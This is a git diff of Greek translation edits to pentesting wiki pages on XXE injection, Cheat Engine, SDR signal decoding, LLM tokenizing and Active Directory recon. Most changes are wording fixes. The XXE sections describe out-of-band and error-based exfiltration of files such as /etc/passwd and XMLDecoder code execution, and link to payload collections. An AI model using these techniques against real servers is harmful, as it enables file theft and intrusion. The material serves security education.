διάρκεια της τοπικοποίησης και ως κοινή μορφή ανταλλαγής για εργαλεία CAT (Computer-Aided Translation). +XLIFF (XML Localization Interchange File Format) χρησιμοποιείται για την τυποποίηση της ανταλλαγής δεδομένων στις διαδικασίες τοπικοποίησης. Είναι μια μορφή βασισμένη σε XML που χρησιμοποιείται κυρίως για τη μεταφορά τοπικοποιήσιμων δεδομένων μεταξύ εργαλείων κατά τη διάρκεια της τοπικοποίησης και ως κοινή μορφή ανταλλαγής για εργαλεία CAT (Computer-Aided Translation). ### Blind Request Analysis @@ -514,7 +501,7 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -Αυτή η προσέγγιση αποκαλύπτει ότι ο User Agent υποδεικνύει τη χρήση του Java 1.8. Ένας αναφερόμενος περιορισμός με αυτή την έκδοση του Java είναι η αδυναμία ανάκτησης αρχείων που περιέχουν χαρακτήρα αλλαγής γραμμής, όπως το /etc/passwd, χρησιμοποιώντας την τεχνική Out of Band. +Αυτή η προσέγγιση αποκαλύπτει ότι ο User Agent υποδεικνύει τη χρήση του Java 1.8. Ένας αναφερόμενος περιορισμός με αυτή την έκδοση του Java είναι η αδυναμία ανάκτησης αρχείων που περιέχουν χαρακτήρα νέας γραμμής, όπως το /etc/passwd, χρησιμοποιώντας την τεχνική Out of Band. Error-Based Data Exfiltration Για να ξεπεραστεί αυτός ο περιορισμός, χρησιμοποιείται μια προσέγγιση Error-Based. Το αρχείο DTD είναι δομημένο ως εξής για να προκαλέσει ένα σφάλμα που περιλαμβάνει δεδομένα από ένα στοχευμένο αρχείο: ```xml @@ -609,7 +596,7 @@ Error-Based Data Exfiltration Για να ξεπεραστεί αυτός ο π ``` ## Java XMLDecoder XEE to RCE -XMLDecoder είναι μια κλάση Java που δημιουργεί αντικείμενα με βάση ένα μήνυμα XML. Εάν ένας κακόβουλος χρήστης μπορέσει να κάνει μια εφαρμογή να χρησιμοποιήσει αυθαίρετα δεδομένα σε μια κλήση στη μέθοδο **readObject**, θα αποκτήσει αμέσως εκτέλεση κώδικα στον διακομιστή. +XMLDecoder είναι μια κλάση Java που δημιουργεί αντικείμενα με βάση ένα μήνυμα XML. Αν ένας κακόβουλος χρήστης μπορέσει να κάνει μια εφαρμογή να χρησιμοποιήσει αυθαίρετα δεδομένα σε μια κλήση στη μέθοδο **readObject**, θα αποκτήσει αμέσως εκτέλεση κώδικα στον διακομιστή. ### Using Runtime().exec() ```xml @@ -679,13 +666,13 @@ https://github.com/luisfontes19/xxexploiter ## Αναφορές -- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\ -- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\ -- Εξαγωγή πληροφοριών μέσω HTTP χρησιμοποιώντας δικό σας εξωτερικό DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\ -- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\ -- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\ -- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\ -- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\ +- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf) +- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html) +- Εξαγωγή πληροφοριών μέσω HTTP χρησιμοποιώντας δικό σας εξωτερικό DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) +- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection) +- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4) +- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9) +- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) - [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7) {{#include ../banners/hacktricks-training.md}} diff --git a/src/reversing/reversing-tools-basic-methods/cheat-engine.md b/src/reversing/reversing-tools-basic-methods/cheat-engine.md index 7484b3528..ae13a1a3a 100644 --- a/src/reversing/reversing-tools-basic-methods/cheat-engine.md +++ b/src/reversing/reversing-tools-basic-methods/cheat-engine.md @@ -18,19 +18,19 @@ ![](<../../images/image (311).png>) -Μπορείτε επίσης να ελέγξετε το κουτάκι για να **σταματήσετε το παιχνίδι ενώ σκανάρετε τη μνήμη**: +Μπορείτε επίσης να ελέγξετε το κουτάκι για **να σταματήσετε το παιχνίδι κατά τη σάρωση της μνήμης**: ![](<../../images/image (1052).png>) ### Συντομεύσεις -Στο _**Edit --> Settings --> Hotkeys**_ μπορείτε να ορίσετε διαφορετικές **συντομεύσεις** για διαφορετικούς σκοπούς όπως **σταματώντας** το **παιχνίδι** (το οποίο είναι πολύ χρήσιμο αν σε κάποια στιγμή θέλετε να σκανάρετε τη μνήμη). Διαθέσιμες είναι και άλλες επιλογές: +Στο _**Edit --> Settings --> Hotkeys**_ μπορείτε να ορίσετε διαφορετικές **συντομεύσεις** για διαφορετικούς σκοπούς όπως **σταμάτημα** του **παιχνιδιού** (το οποίο είναι πολύ χρήσιμο αν σε κάποια στιγμή θέλετε να σαρώσετε τη μνήμη). Διαθέσιμες είναι και άλλες επιλογές: ![](<../../images/image (864).png>) ## Τροποποίηση της τιμής -Μόλις **βρείτε** πού είναι η **τιμή** που ψάχνετε (περισσότερα γι' αυτό στα επόμενα βήματα) μπορείτε να **την τροποποιήσετε** κάνοντας διπλό κλικ πάνω της, και στη συνέχεια διπλό κλικ στην τιμή της: +Αφού **βρείτε** πού είναι η **τιμή** που **ψάχνετε** (περισσότερα γι' αυτό στα επόμενα βήματα) μπορείτε να **την τροποποιήσετε** κάνοντας διπλό κλικ πάνω της, και στη συνέχεια κάνοντας διπλό κλικ στην τιμή της: ![](<../../images/image (563).png>) @@ -50,22 +50,22 @@ ![](<../../images/image (108).png>) -Στη συνέχεια, κάνετε κάτι ώστε η **τιμή να αλλάξει**, και **σταματάτε** το παιχνίδι και **εκτελείτε** μια **επόμενη σάρωση**: +Στη συνέχεια, κάνετε κάτι ώστε **η τιμή να αλλάξει**, και **σταματάτε** το παιχνίδι και **εκτελείτε** μια **επόμενη σάρωση**: ![](<../../images/image (684).png>) Το Cheat Engine θα ψάξει για τις **τιμές** που **πήγαν από 100 στη νέα τιμή**. Συγχαρητήρια, **βρήκατε** τη **διεύθυνση** της τιμής που ψάχνατε, μπορείτε τώρα να την τροποποιήσετε.\ -&#xNAN;_If έχετε ακόμα πολλές τιμές, κάντε κάτι για να τροποποιήσετε ξανά αυτή την τιμή, και εκτελέστε άλλη μια "επόμενη σάρωση" για να φιλτράρετε τις διευθύνσεις._ +_Αν έχετε ακόμα πολλές τιμές, κάντε κάτι για να τροποποιήσετε ξανά αυτή την τιμή, και εκτελέστε άλλη μια "επόμενη σάρωση" για να φιλτράρετε τις διευθύνσεις._ ### Άγνωστη τιμή, γνωστή αλλαγή -Στο σενάριο που **δεν γνωρίζετε την τιμή** αλλά ξέρετε **πώς να την αλλάξετε** (και ακόμη και την τιμή της αλλαγής) μπορείτε να ψάξετε για τον αριθμό σας. +Στο σενάριο που **δεν γνωρίζετε την τιμή** αλλά ξέρετε **πώς να την αλλάξετε** (και ακόμα και την τιμή της αλλαγής) μπορείτε να ψάξετε για τον αριθμό σας. Έτσι, ξεκινήστε εκτελώντας μια σάρωση τύπου "**Άγνωστη αρχική τιμή**": ![](<../../images/image (890).png>) -Στη συνέχεια, κάντε την τιμή να αλλάξει, υποδείξτε **πώς** η **τιμή** **αλλάχθηκε** (στη δική μου περίπτωση μειώθηκε κατά 1) και εκτελέστε μια **επόμενη σάρωση**: +Στη συνέχεια, κάντε την τιμή να αλλάξει, υποδείξτε **πώς** η **τιμή** **αλλάχθηκε** (στην περίπτωσή μου μειώθηκε κατά 1) και εκτελέστε μια **επόμενη σάρωση**: ![](<../../images/image (371).png>) @@ -73,7 +73,7 @@ ![](<../../images/image (569).png>) -Μόλις βρείτε την τιμή σας, μπορείτε να την τροποποιήσετε. +Αφού βρείτε την τιμή σας, μπορείτε να την τροποποιήσετε. Σημειώστε ότι υπάρχουν **πολλές πιθανές αλλαγές** και μπορείτε να κάνετε αυτά τα **βήματα όσες φορές θέλετε** για να φιλτράρετε τα αποτελέσματα: @@ -90,7 +90,7 @@ Η **πρώτη επιλογή** είναι χρήσιμη για να γνωρίζετε ποιες **μέρη** του **κώδικα** **χρησιμοποιούν** αυτή τη **διεύθυνση** (που είναι χρήσιμο για περισσότερα πράγματα όπως **να γνωρίζετε πού μπορείτε να τροποποιήσετε τον κώδικα** του παιχνιδιού).\ Η **δεύτερη επιλογή** είναι πιο **συγκεκριμένη**, και θα είναι πιο χρήσιμη σε αυτή την περίπτωση καθώς μας ενδιαφέρει να γνωρίζουμε **από πού γράφεται αυτή η τιμή**. -Μόλις επιλέξετε μία από αυτές τις επιλογές, ο **debugger** θα **συνδεθεί** με το πρόγραμμα και ένα νέο **κενό παράθυρο** θα εμφανιστεί. Τώρα, **παίξτε** το **παιχνίδι** και **τροποποιήστε** αυτή την **τιμή** (χωρίς να επανεκκινήσετε το παιχνίδι). Το **παράθυρο** θα πρέπει να **γεμίσει** με τις **διευθύνσεις** που **τροποποιούν** την **τιμή**: +Αφού επιλέξετε μία από αυτές τις επιλογές, ο **debugger** θα **συνδεθεί** με το πρόγραμμα και ένα νέο **κενό παράθυρο** θα εμφανιστεί. Τώρα, **παίξτε** το **παιχνίδι** και **τροποποιήστε** αυτή την **τιμή** (χωρίς να επανεκκινήσετε το παιχνίδι). Το **παράθυρο** θα πρέπει να **γεμίσει** με τις **διευθύνσεις** που **τροποποιούν** την **τιμή**: ![](<../../images/image (91).png>) @@ -150,7 +150,7 @@ ![](<../../images/image (944).png>) -Έτσι, εισάγετε τον νέο κώδικα assembly στην ενότητα "**newmem**" και αφαιρέστε τον αρχικό κώδικα από την "**originalcode**" αν δεν θέλετε να εκτελείται\*\*.\*\* Σε αυτό το παράδειγμα, ο εισαγόμενος κώδικας θα προσθέσει 2 πόντους αντί να αφαιρεί 1: +Έτσι, εισάγετε τον νέο σας κώδικα assembly στην ενότητα "**newmem**" και αφαιρέστε τον αρχικό κώδικα από την "**originalcode**" αν δεν θέλετε να εκτελείται\*\*.\*\* Σε αυτό το παράδειγμα, ο εισαγόμενος κώδικας θα προσθέτει 2 πόντους αντί να αφαιρεί 1: ![](<../../images/image (521).png>) diff --git a/src/todo/hardware-hacking/radio.md b/src/todo/hardware-hacking/radio.md index 37fdff864..5f6ddcc6f 100644 --- a/src/todo/hardware-hacking/radio.md +++ b/src/todo/hardware-hacking/radio.md @@ -8,8 +8,8 @@ ### Βασική Ρύθμιση -Μετά την εγκατάσταση υπάρχουν μερικά πράγματα που θα μπορούσατε να εξετάσετε για ρύθμιση.\ -Στις ρυθμίσεις (το δεύτερο κουμπί καρτέλας) μπορείτε να επιλέξετε τη **συσκευή SDR** ή **να επιλέξετε ένα αρχείο** για ανάγνωση και ποια συχνότητα να συντονίσετε και το ρυθμό δειγματοληψίας (συνιστάται έως 2.56Msps αν ο υπολογιστής σας το υποστηρίζει)\\ +Μετά την εγκατάσταση υπάρχουν μερικά πράγματα που θα μπορούσατε να εξετάσετε να ρυθμίσετε.\ +Στις ρυθμίσεις (το δεύτερο κουμπί καρτέλας) μπορείτε να επιλέξετε τη **συσκευή SDR** ή **να επιλέξετε ένα αρχείο** για ανάγνωση και ποια συχνότητα να συγχρονίσετε και το ρυθμό δειγματοληψίας (συνιστάται έως 2.56Msps αν ο υπολογιστής σας το υποστηρίζει) ![](<../../images/image (245).png>) @@ -22,7 +22,7 @@ ### Χρήσεις -- Απλά για να **καταγράψετε κάποιο χρόνο ενός σήματος και να το αναλύσετε** απλώς κρατήστε πατημένο το κουμπί "Push to capture" όσο χρειάζεστε. +- Απλά για να **καταγράψετε κάποιο χρόνο ενός σήματος και να το αναλύσετε** διατηρήστε το κουμπί "Push to capture" όσο χρειάζεστε. ![](<../../images/image (960).png>) @@ -50,8 +50,8 @@ ### Αποκάλυψη τύπου διαμόρφωσης με IQ -Υπάρχουν 3 τρόποι αποθήκευσης πληροφοριών σε σήματα: Διαμορφώνοντας την **αμplitude**, **συχνότητα** ή **φάση**.\ -Αν ελέγχετε ένα σήμα υπάρχουν διάφοροι τρόποι να προσπαθήσετε να καταλάβετε τι χρησιμοποιείται για την αποθήκευση πληροφοριών (βρείτε περισσότερους τρόπους παρακάτω) αλλά ένας καλός είναι να ελέγξετε το γράφημα IQ. +Υπάρχουν 3 τρόποι αποθήκευσης πληροφοριών σε σήματα: Διαμόρφωση της **αμplitude**, **συχνότητας** ή **φάσης**.\ +Αν ελέγχετε ένα σήμα υπάρχουν διαφορετικοί τρόποι να προσπαθήσετε να καταλάβετε τι χρησιμοποιείται για την αποθήκευση πληροφοριών (βρείτε περισσότερους τρόπους παρακάτω) αλλά ένας καλός είναι να ελέγξετε το γράφημα IQ. ![](<../../images/image (788).png>) @@ -72,7 +72,7 @@ sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw #### Έλεγχος του περιγράμματος -Έλεγχος πληροφοριών AM με [**SigDigger** ](https://github.com/BatchDrake/SigDigger)και απλώς κοιτάζοντας το **περίγραμμα** μπορείτε να δείτε διαφορετικά καθαρά επίπεδα αμplitude. Το χρησιμοποιούμενο σήμα στέλνει παλμούς με πληροφορίες σε AM, έτσι φαίνεται ένας παλμός: +Έλεγχος πληροφοριών AM με [**SigDigger** ](https://github.com/BatchDrake/SigDigger)και απλά κοιτάζοντας το **περίγραμμα** μπορείτε να δείτε διαφορετικά καθαρά επίπεδα αμplitude. Το χρησιμοποιούμενο σήμα στέλνει παλμούς με πληροφορίες σε AM, έτσι φαίνεται ένας παλμός: ![](<../../images/image (590).png>) @@ -82,7 +82,7 @@ sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw #### Έλεγχος του Ιστογράμματος -Μπορείτε να **επιλέξετε ολόκληρο το σήμα** όπου βρίσκονται οι πληροφορίες, να επιλέξετε τη λειτουργία **Αμplitude** και **Επιλογή** και να κάνετε κλικ στο **Ιστόγραμμα.** Μπορείτε να παρατηρήσετε ότι 2 καθαρά επίπεδα βρίσκονται μόνο +Μπορείτε να **επιλέξετε ολόκληρο το σήμα** όπου βρίσκονται οι πληροφορίες, να επιλέξετε τη λειτουργία **Αμplitude** και **Επιλογή** και να κάνετε κλικ στο **Ιστογράφημα.** Μπορείτε να παρατηρήσετε ότι 2 καθαρά επίπεδα βρίσκονται μόνο ![](<../../images/image (264).png>) @@ -90,7 +90,7 @@ sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw ![](<../../images/image (732).png>) -Αν βρείτε πολλές συχνότητες πιθανώς αυτό δεν θα είναι FM, πιθανώς η συχνότητα του σήματος απλώς τροποποιήθηκε λόγω του καναλιού. +Αν βρείτε πολλές συχνότητες πιθανώς αυτό δεν θα είναι FM, πιθανώς η συχνότητα του σήματος έχει απλώς τροποποιηθεί λόγω του καναλιού. #### Με IQ @@ -108,36 +108,36 @@ sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw #### Με μια ομάδα συμβόλων -Μπορείτε επίσης να υποδείξετε τον αριθμό των συμβόλων που πρόκειται να επιλέξετε και το SigDigger θα υπολογίσει τη συχνότητα ενός συμβόλου (όσο περισσότερα σύμβολα επιλέξετε τόσο καλύτερα πιθανώς). Σε αυτό το σενάριο επέλεξα 10 σύμβολα και η "Συχνότητα επιλογής" είναι 1.004 Khz: +Μπορείτε επίσης να υποδείξετε τον αριθμό των συμβόλων που θα επιλέξετε και το SigDigger θα υπολογίσει τη συχνότητα ενός συμβόλου (όσο περισσότερα σύμβολα επιλέξετε τόσο καλύτερα πιθανώς). Σε αυτό το σενάριο επέλεξα 10 σύμβολα και η "Συχνότητα επιλογής" είναι 1.004 Khz: ![](<../../images/image (1008).png>) ### Λάβετε Bits -Αφού βρείτε ότι αυτό είναι ένα **AM διαμορφωμένο** σήμα και ο **ρυθμός συμβόλων** (και γνωρίζοντας ότι σε αυτή την περίπτωση κάτι up σημαίνει 1 και κάτι down σημαίνει 0), είναι πολύ εύκολο να **αποκτήσετε τα bits** που κωδικοποιούνται στο σήμα. Έτσι, επιλέξτε το σήμα με πληροφορίες και ρυθμίστε τη δειγματοληψία και την απόφαση και πατήστε δείγμα (ελέγξτε ότι **Αμplitude** είναι επιλεγμένο, ο ανακαλυφθείς **Ρυθμός Συμβόλων** είναι ρυθμισμένος και η **Ανάκτηση Ρολογιού Gadner** είναι επιλεγμένη): +Έχοντας βρει ότι αυτό είναι ένα **AM διαμορφωμένο** σήμα και ο **ρυθμός συμβόλων** (και γνωρίζοντας ότι σε αυτή την περίπτωση κάτι up σημαίνει 1 και κάτι down σημαίνει 0), είναι πολύ εύκολο να **αποκτήσετε τα bits** που κωδικοποιούνται στο σήμα. Έτσι, επιλέξτε το σήμα με πληροφορίες και ρυθμίστε τη δειγματοληψία και την απόφαση και πατήστε δείγμα (ελέγξτε ότι η **Αμplitude** είναι επιλεγμένη, ο ανακαλυφθείς **Ρυθμός συμβόλων** είναι ρυθμισμένος και η **Ανάκτηση ρολογιού Gadner** είναι επιλεγμένη): ![](<../../images/image (965).png>) -- **Συγχρονισμός με επιλεγμένα διαστήματα** σημαίνει ότι αν προηγουμένως επιλέξατε διαστήματα για να βρείτε τον ρυθμό συμβόλων, αυτός ο ρυθμός συμβόλων θα χρησιμοποιηθεί. -- **Χειροκίνητο** σημαίνει ότι ο υποδεικνυόμενος ρυθμός συμβόλων θα χρησιμοποιηθεί -- Στην **Επιλογή σταθερού διαστήματος** υποδεικνύετε τον αριθμό των διαστημάτων που πρέπει να επιλεγούν και υπολογίζει τον ρυθμό συμβόλων από αυτό -- **Ανάκτηση Ρολογιού Gadner** είναι συνήθως η καλύτερη επιλογή, αλλά πρέπει ακόμα να υποδείξετε κάποιο περίπου ρυθμό συμβόλων. +- **Συγχρονισμός με τις επιλεγμένες περιόδους** σημαίνει ότι αν προηγουμένως επιλέξατε περιόδους για να βρείτε τον ρυθμό συμβόλων, αυτός ο ρυθμός συμβόλων θα χρησιμοποιηθεί. +- **Χειροκίνητα** σημαίνει ότι ο υποδεικνυόμενος ρυθμός συμβόλων θα χρησιμοποιηθεί +- Στην **Επιλογή σταθερού διαστήματος** υποδεικνύετε τον αριθμό των διαστημάτων που θα πρέπει να επιλεγούν και υπολογίζει τον ρυθμό συμβόλων από αυτό +- **Ανάκτηση ρολογιού Gadner** είναι συνήθως η καλύτερη επιλογή, αλλά πρέπει ακόμα να υποδείξετε κάποιο περίπου ρυθμό συμβόλων. Πατώντας δείγμα αυτό εμφανίζεται: ![](<../../images/image (644).png>) -Τώρα, για να κάνει το SigDigger να καταλάβει **πού είναι το εύρος** του επιπέδου που μεταφέρει πληροφορίες πρέπει να κάνετε κλικ στο **χαμηλότερο επίπεδο** και να κρατήσετε πατημένο μέχρι το μεγαλύτερο επίπεδο: +Τώρα, για να κάνει το SigDigger να καταλάβει **πού είναι το εύρος** του επιπέδου που μεταφέρει πληροφορίες πρέπει να κάνετε κλικ στο **χαμηλότερο επίπεδο** και να διατηρήσετε πατημένο μέχρι το μεγαλύτερο επίπεδο: ![](<../../images/image (439).png>) Αν υπήρχαν για παράδειγμα **4 διαφορετικά επίπεδα αμplitude**, θα έπρεπε να ρυθμίσετε τα **Bits ανά σύμβολο σε 2** και να επιλέξετε από το μικρότερο στο μεγαλύτερο. -Τέλος **αυξάνοντας** το **Zoom** και **αλλάζοντας το μέγεθος της σειράς** μπορείτε να δείτε τα bits (και μπορείτε να επιλέξετε όλα και να αντιγράψετε για να αποκτήσετε όλα τα bits): +Τέλος **αυξάνοντας** το **Zoom** και **αλλάζοντας το μέγεθος γραμμής** μπορείτε να δείτε τα bits (και μπορείτε να επιλέξετε όλα και να αντιγράψετε για να αποκτήσετε όλα τα bits): ![](<../../images/image (276).png>) -Αν το σήμα έχει περισσότερα από 1 bit ανά σύμβολο (για παράδειγμα 2), το SigDigger δεν έχει **τρόπο να ξέρει ποιο σύμβολο είναι** 00, 01, 10, 11, οπότε θα χρησιμοποιήσει διαφορετικές **γκρίζες κλίμακες** για να αναπαραστήσει το καθένα (και αν αντιγράψετε τα bits θα χρησιμοποιήσει **αριθμούς από 0 έως 3**, θα χρειαστεί να τα επεξεργαστείτε). +Αν το σήμα έχει περισσότερα από 1 bit ανά σύμβολο (για παράδειγμα 2), το SigDigger δεν έχει **τρόπο να ξέρει ποιο σύμβολο είναι** 00, 01, 10, 11, οπότε θα χρησιμοποιήσει διαφορετικές **κλίμακες γκρι** για να αναπαραστήσει το καθένα (και αν αντιγράψετε τα bits θα χρησιμοποιήσει **αριθμούς από 0 έως 3**, θα χρειαστεί να τα επεξεργαστείτε). Επίσης, χρησιμοποιήστε **κωδικοποιήσεις** όπως **Manchester**, και **up+down** μπορεί να είναι **1 ή 0** και ένα down+up μπορεί να είναι 1 ή 0. Σε αυτές τις περιπτώσεις πρέπει να **επεξεργαστείτε τα αποκτηθέντα ups (1) και downs (0)** για να αντικαταστήσετε τα ζεύγη 01 ή 10 ως 0s ή 1s. @@ -155,11 +155,11 @@ sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw ![](<../../images/image (725).png>) -Στην προηγούμενη εικόνα μπορείτε να παρατηρήσετε αρκετά καλά ότι **χρησιμοποιούνται 2 συχνότητες** αλλά αν **παρατηρήσετε** την **κυματομορφή** μπορεί να μην **μπορείτε να προσδιορίσετε σωστά τις 2 διαφορετικές συχνότητες**: +Στην προηγούμενη εικόνα μπορείτε να παρατηρήσετε αρκετά καλά ότι **χρησιμοποιούνται 2 συχνότητες** αλλά αν **παρατηρήσετε** την **κυματομορφή** μπορεί να μην είστε σε θέση να αναγνωρίσετε σωστά τις 2 διαφορετικές συχνότητες: ![](<../../images/image (717).png>) -Αυτό συμβαίνει επειδή κατέγραψα το σήμα και στις δύο συχνότητες, επομένως η μία είναι περίπου η άλλη σε αρνητική: +Αυτό συμβαίνει επειδή κατέγραψα το σήμα σε και τις δύο συχνότητες, επομένως η μία είναι περίπου η άλλη σε αρνητική: ![](<../../images/image (942).png>) @@ -193,7 +193,7 @@ sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw ### Λάβετε το Ρυθμό Συμβόλων -Μπορείτε να χρησιμοποιήσετε την **ίδια τεχνική με αυτήν που χρησιμοποιήθηκε στο παράδειγμα AM** για να αποκτήσετε τον ρυθμό συμβόλων μόλις έχετε βρει τις συχνότητες που μεταφέρουν σύμβολα. +Μπορείτε να χρησιμοποιήσετε την **ίδια τεχνική με αυτήν που χρησιμοποιήθηκε στο παράδειγμα AM** για να αποκτήσετε το ρυθμό συμβόλων μόλις έχετε βρει τις συχνότητες που μεταφέρουν σύμβολα. ### Λάβετε Bits diff --git a/src/todo/llm-training-data-preparation/1.-tokenizing.md b/src/todo/llm-training-data-preparation/1.-tokenizing.md index a1691c88b..0cd0b7694 100644 --- a/src/todo/llm-training-data-preparation/1.-tokenizing.md +++ b/src/todo/llm-training-data-preparation/1.-tokenizing.md @@ -15,7 +15,7 @@ Κείμενο: `"Hello, world!"`\ Tokens: `["Hello", ",", "world", "!"]` 2. **Creating a Vocabulary:** -- Για να μετατραπούν τα tokens σε αριθμητικά IDs, δημιουργείται ένα **λεξιλόγιο**. Αυτό το λεξιλόγιο απαριθμεί όλα τα μοναδικά tokens (λέξεις και σύμβολα) και αναθέτει σε κάθε ένα έναν συγκεκριμένο ID. +- Για να μετατρέψει τα tokens σε αριθμητικά IDs, δημιουργείται ένα **λεξιλόγιο**. Αυτό το λεξιλόγιο απαριθμεί όλα τα μοναδικά tokens (λέξεις και σύμβολα) και αναθέτει σε κάθε ένα έναν συγκεκριμένο ID. - **Special Tokens:** Αυτά είναι ειδικά σύμβολα που προστίθενται στο λεξιλόγιο για να χειριστούν διάφορα σενάρια: - `[BOS]` (Beginning of Sequence): Υποδεικνύει την αρχή ενός κειμένου. - `[EOS]` (End of Sequence): Υποδεικνύει το τέλος ενός κειμένου. @@ -27,7 +27,7 @@ Tokens: `["Hello", ",", "world", "!"]` - **Handling Unknown Words:**\ Αν μια λέξη όπως το `"Bye"` δεν είναι στο λεξιλόγιο, αντικαθίσταται με `[UNK]`.\ `"Bye, world!"` → `["[UNK]", ",", "world", "!"]` → `[987, 455, 78, 467]`\ -&#xNAN;_(Υποθέτοντας ότι το `[UNK]` έχει ID `987`)_ +_(Υποθέτοντας ότι το `[UNK]` έχει ID `987`)_ ### **Advanced Tokenizing Methods** @@ -48,7 +48,7 @@ Tokens: `["Hello", ",", "world", "!"]` - **Used By:** Μοντέλα όπως το BERT. - **Purpose:** Παρόμοιο με το BPE, διασπά τις λέξεις σε υπομονάδες για να χειριστεί άγνωστες λέξεις και να μειώσει το μέγεθος του λεξιλογίου. - **How It Works:** -- Ξεκινά με μια βασική λεξικολογική βάση από μεμονωμένους χαρακτήρες. +- Ξεκινά με ένα βασικό λεξιλόγιο από μεμονωμένους χαρακτήρες. - Προσθέτει επαναληπτικά την πιο συχνή υπολέξη που μεγιστοποιεί την πιθανότητα των δεδομένων εκπαίδευσης. - Χρησιμοποιεί ένα πιθανοκρατικό μοντέλο για να αποφασίσει ποιες υπολέξεις να συγχωνεύσει. - **Benefits:** @@ -62,7 +62,7 @@ Tokens: `["Hello", ",", "world", "!"]` - **How It Works:** - Ξεκινά με ένα μεγάλο σύνολο πιθανών tokens. - Αφαιρεί επαναληπτικά tokens που λιγότερο βελτιώνουν την πιθανότητα του μοντέλου για τα δεδομένα εκπαίδευσης. -- Ολοκληρώνει ένα λεξιλόγιο όπου κάθε λέξη αναπαρίσταται από τις πιο πιθανές υπομονάδες. +- Ολοκληρώνει ένα λεξιλόγιο όπου κάθε λέξη αναπαρίσταται από τις πιο πιθανές υπολέξεις. - **Benefits:** - Ευέλικτο και μπορεί να μοντελοποιήσει τη γλώσσα πιο φυσικά. - Συχνά οδηγεί σε πιο αποδοτικές και συμπαγείς tokenizations. diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index 2cf8ee583..951eac591 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -11,7 +11,7 @@ Βασικές έννοιες εντός του **Active Directory** περιλαμβάνουν: 1. **Κατάλογος** – Περιέχει όλες τις πληροφορίες που αφορούν τα αντικείμενα του Active Directory. -2. **Αντικείμενο** – Δηλώνει οντότητες εντός του καταλόγου, συμπεριλαμβανομένων των **χρηστών**, **ομάδων** ή **κοινών φακέλων**. +2. **Αντικείμενο** – Δηλώνει οντότητες εντός του καταλόγου, συμπεριλαμβανομένων **χρηστών**, **ομάδων** ή **κοινών φακέλων**. 3. **Τομέας** – Λειτουργεί ως δοχείο για τα αντικείμενα του καταλόγου, με τη δυνατότητα να συνυπάρχουν πολλοί τομείς εντός ενός **δάσους**, καθένας διατηρώντας τη δική του συλλογή αντικειμένων. 4. **Δέντρο** – Μια ομάδα τομέων που μοιράζονται έναν κοινό ριζικό τομέα. 5. **Δάσος** – Η κορυφή της οργανωτικής δομής στο Active Directory, που αποτελείται από αρκετά δέντρα με **σχέσεις εμπιστοσύνης** μεταξύ τους. @@ -29,12 +29,12 @@ ### **Kerberos Authentication** -Για να μάθετε πώς να **επιτεθείτε σε ένα AD** πρέπει να **κατανοήσετε** πολύ καλά τη διαδικασία **αυθεντικοποίησης Kerberos**.\ +Για να μάθετε πώς να **επιτεθείτε σε ένα AD** πρέπει να **κατανοήσετε** πολύ καλά τη **διαδικασία αυθεντικοποίησης Kerberos**.\ [**Διαβάστε αυτή τη σελίδα αν δεν ξέρετε πώς λειτουργεί.**](kerberos-authentication.md) ## Cheat Sheet -Μπορείτε να επισκεφθείτε το [https://wadcoms.github.io/](https://wadcoms.github.io) για μια γρήγορη επισκόπηση των εντολών που μπορείτε να εκτελέσετε για να καταγράψετε/εκμεταλλευτείτε ένα AD. +Μπορείτε να επισκεφθείτε [https://wadcoms.github.io/](https://wadcoms.github.io) για μια γρήγορη επισκόπηση των εντολών που μπορείτε να εκτελέσετε για να καταγράψετε/εκμεταλλευτείτε ένα AD. ## Recon Active Directory (No creds/sessions) @@ -77,7 +77,7 @@ ### User enumeration - **Ανώνυμη SMB/LDAP enum:** Ελέγξτε τις σελίδες [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) και [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md). -- **Kerbrute enum**: Όταν ζητείται ένα **μη έγκυρο όνομα χρήστη**, ο διακομιστής θα απαντήσει χρησιμοποιώντας τον **κωδικό σφάλματος Kerberos** 